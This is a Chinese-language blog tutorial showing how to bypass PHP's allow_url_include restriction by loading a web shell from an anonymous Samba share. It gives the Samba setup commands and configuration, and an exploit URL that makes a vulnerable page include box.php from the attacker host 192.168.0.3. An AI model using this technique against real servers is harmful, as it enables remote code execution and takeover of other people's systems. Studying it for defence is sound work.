使用SMB共享來繞過php遠程文件包含的限制執行RFI的利用

我們將繞過php遠程文件包含的限制,並執行RFI的利用,即使PHP環境被配置爲不包含來自遠程HTTP/FTP URL的文件。對此文感興趣的朋友跟隨小編一起看看吧

在這篇博文中,我將爲大家演示如何利用PHP應用中的遠程文件包含漏洞的技術。我們將繞過php遠程文件包含的限制,並執行RFI的利用,即使PHP環境被配置爲不包含來自遠程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件訪問

在PHP配置文件中,“allow_url_include”wrapper默認設置爲“Off”,指示PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設置爲“Off”,PHP也不會阻止加載SMB URL。而這就極有可能被濫用來從SMB共享加載遠程託管的PHP Web shell。

攻擊場景概述

當易受攻擊的PHP應用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時,SMB共享應允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB服務器。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP Web shell,SMB服務器將不會要求任何的憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。

首先,我重新配置了PHP環境,並在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之後,配置了具有匿名瀏覽訪問的SMB服務器。一旦SMB共享準備就緒,我們就可以利用易受攻擊的應用程序了。

PHP 環境設置

將託管易受攻擊代碼的機器上的“allow_url_fopen”和“allow_url_include”設置爲“Off”

以下是版本爲“5.5.11”的PHP當前配置截圖:

 

在繼續下一步之前,讓我們確保當我們嘗試訪問HTTP上託管的Web shell時,PHP代碼不允許遠程文件包含。

 

可以看到,當我試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤並且沒有包含遠程文件。

使用匿名瀏覽訪問配置 Samba 服務器(Linux 機器)
使用以下命令安裝Samba服務器:

apt-get install samba創建SMB共享目錄:

mkdir /var/www/html/pub/

 

配置新創建的SMB共享目錄的權限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

 

運行以下命令,刪除SAMBA服務器配置文件的默認內容。

echo > /etc/samba/smb.conf將以下內容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody現在,重啓SAMBA服務器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重啓SAMBA服務器後,嘗試訪問SMB共享並確保SAMBA服務器不要求提供憑據。

在本例中,SAMBA服務器IP爲192.168.0.3,我需要訪問Windows文件瀏覽器中的SMB共享,如下:

\\192.168.0.3\ 

 

在 SMB 共享中託管 PHP Web shell

太棒了!可以訪問smb共享,並顯示目錄“ica”存在。

 

現在,將PHP shell託管在目錄“/var/www/html/pub”中,該目錄爲smb共享目錄“ica”。

成功託管PHP shell後,我們使用Windows文件瀏覽器訪問SMB共享目錄“ica”。

\\192.168.0.3\ica\可以看到php shell存在於smb共享目錄中,在本例中爲box.php文件。

 

利用文件包含易受攻擊的參數
讓我們使用這個PHP shell SMB鏈接,以及易受攻擊的php代碼瀏覽它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻擊的代碼從SMB共享中獲取了web shell,並在應用程序服務器上執行了代碼\m/。我們已經繞過了php遠程文件包含的限制,幷包含了託管在遠程主機上的Web shell。

 

總結

以上所述是小編給大家介紹的使用SMB共享來繞過php遠程文件包含的限制執行RFI的利用,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回覆大家的。在此也非常感謝大家對神馬文庫網站的支持!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章